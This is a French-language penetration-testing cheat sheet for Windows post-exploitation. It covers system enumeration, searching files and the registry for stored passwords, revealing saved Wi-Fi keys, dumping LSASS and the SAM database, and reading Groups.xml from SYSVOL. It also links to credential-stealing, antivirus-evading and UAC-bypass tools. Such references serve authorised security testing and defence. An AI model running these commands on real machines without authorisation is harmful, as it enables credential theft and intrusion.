🪟Windows

Fondamentales

Récolte d'informations

Informations système

>systeminfo

Énumération des utilisateurs

>net users

Détails

>net user <user>

Configurations réseau

>ipconfig /all

Table de routage

>route print

Tables ARP

>arp -a

Connexions actives

>netstat -ano

Règles de pare-feu

netsh advfirewall show allprofiles state
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"

Tâches planifiées

>schtasks /query /fo LIST /v

Services démarrés

>tasklist /SVC

Drivers

>DRIVERQUERY

Récolte d'informations avec WMIC

Dans un fichier bat:

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

Ce script bat va avoir pour effet de relever toutes les informations intéressantes accessibles avec wmic et de les mettre au propre dans un fichier html en output.

Recherche de contenu sensible par mots clés

>dir /s *pass* == *cred* == *.config* == *.xml* etc.

On peut utiliser n'importe quelle mot clé.

On peut utiliser aussi:

>findstr /si password *.xml *.ini *.txt etc.

Fichiers de configuration XAMP, Apache ou PHP ?

>dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.ncnf

Informations stockées

Il est possible de retrouver les noms d'utilisateur et mots de passe stockés dans la machine simplement en utilisant la commande:

>rundll32 keymgr.dll, KRShowKeyMgr

>cmdkey /list

>dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\

>dir C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\

Mots de passes dans les registres:

>reg query HKCU /f password /t REG_SZ /s

>reg query HKLM /f password /t REG_SZ /s

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Wifi

#Lister les réseaux wifi sauvegardés
> netsh wlan show profile

#Récupérer le mot de passe d'un wifi en clair
> netsh wlan show profile <SSID> key=clear

Event log 4624

Cet événement est journalisé pour tout succès d’ouverture de session.

Il peut vous permettre de savoir quel utilisateur s'est connecté à la machine à quel moment, depuis quel domaine etc.

Event log 4625

Cet événement est journalisé pour tout échec d’ouverture de session.

Il est généré sur l’ordinateur sur lequel une tentative d’ouverture de session a été effectuée, par exemple, si une tentative d’ouverture de session a été effectuée sur la station de travail de l’utilisateur, l’événement est alors enregistré sur cette station de travail.

Cet événement est généré sur les contrôleurs de domaine, les serveurs membres et les stations de travail.

Il arrive parfois qu'un utilisateur écrive par erreur son mot de passe à la place de son nom d'utilisateur lors de sa connexion, lorsque cela arrive son mot de passe est alors enregistré à l'emplacement du nom d'utilisateur à l'ID 4625 accessible avec Windows Event Viewer (Observateur d'événements).

Pour cela, cherchez dans Windows Observateur d'événement puis sélectionnez "journaux Windows" > "Sécurité" > "Filtrer le journal actuel...", remplacez <Tous les ID d'événement> par "4625" et validez.

Dump lsass

via Procdump

Procdump est un executable de sysinternals capable de dumper des processus.

Afin de dumper le processus LSASS, on utilise la commande suivante.

> procdump -ma lsass.exe lsass.dmp

ressource: https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

Via dump de la RAM

Si le dump de processus est bloqué, on peut essayer de passer par un dump de la RAM. Cela peut être fait avec l'outil de forensique gratuit MAGNET RAM capture.

ressource: https://www.magnetforensics.com/fr/resources/magnet-ram-capture/

Une fois le dump de la RAM effectué, on peut alors récupérer les informations avec Volatility à l'aide de la commande suivante:

$ vol -f memdump.raw windows.cachedump.Cachedump

Dump SAM

Extraction des fichiers

> reg save hklm\sam c:\sam
> reg save hklm\system c:\system

Dump de la base SAM avec Samdump2

Samdump2 est un outil natif dans kali linux permettant de dumper une base SAM locale à l'aide des fichiers "sam" et "system".

$ samdump2 system sam

Eviltree

Eviltree est un remake python3 de la commande classique "tree" avec la fonctionnalité supplémentaire de rechercher des mots-clés/regex fournis par l'utilisateur dans les fichiers, en mettant en évidence ceux qui contiennent des correspondances.

Exemples d'utilisation:

$ python3 eviltree.py -r path/to/repo -k passwd,admin,login,user -v

$ python3 eviltree.py -r path/to/repo -x "<regex>" -v

ressource: https://github.com/t3l3machus/eviltree

LaZagne

LaZagne est un outil permettant de rechercher les mots de passes stockés localement dans une machine Windows.

ressource: https://github.com/AlessandroZ/LaZagne

RecALL

RecAll est un équivalent polonais de LaZagne possédant une interface graphique.

ressource: https://keit.co/p/recall/

GPO

>set

#Regarder les lignes
LOGONSERVER=\\<server>
USERDNSDOMAIN=<domaine>

#Trouver des IPs
nslookup <domain>

#Utiliser une IP pour monter le partage
>net use z: \\<IP>\sysvol
#Entrer dans l'emplacement z:

#Chercher les fichiers groups.xml
>dir Groups.xml /s

MimikatzFUD

MimikatzFUD est un équivalent de mimikatz passant (pour le moment) sous les radars des antivirus.

ressource: https://github.com/HernanRodriguez1/MimikatzFUD

Pypykatz

Pypykatz est une implémentation de mimikatz en pure python

ressource: https://github.com/skelsec/pypykatz

WinPEAS

WinPEAS est l'equivalent de LinPEAS sur les OS Windows

Ressource: https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

HardeningKitty

HardenigKitty est un outil d'audit dédié au hardening des machines Windows.

ressource: https://github.com/scipag/HardeningKitty

UACME

UACME est un outil permettant de bypass le contrôle de compte utilisateur

ressource: https://github.com/hfiref0x/UACME

Ressource

https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation

Dernière mise à jour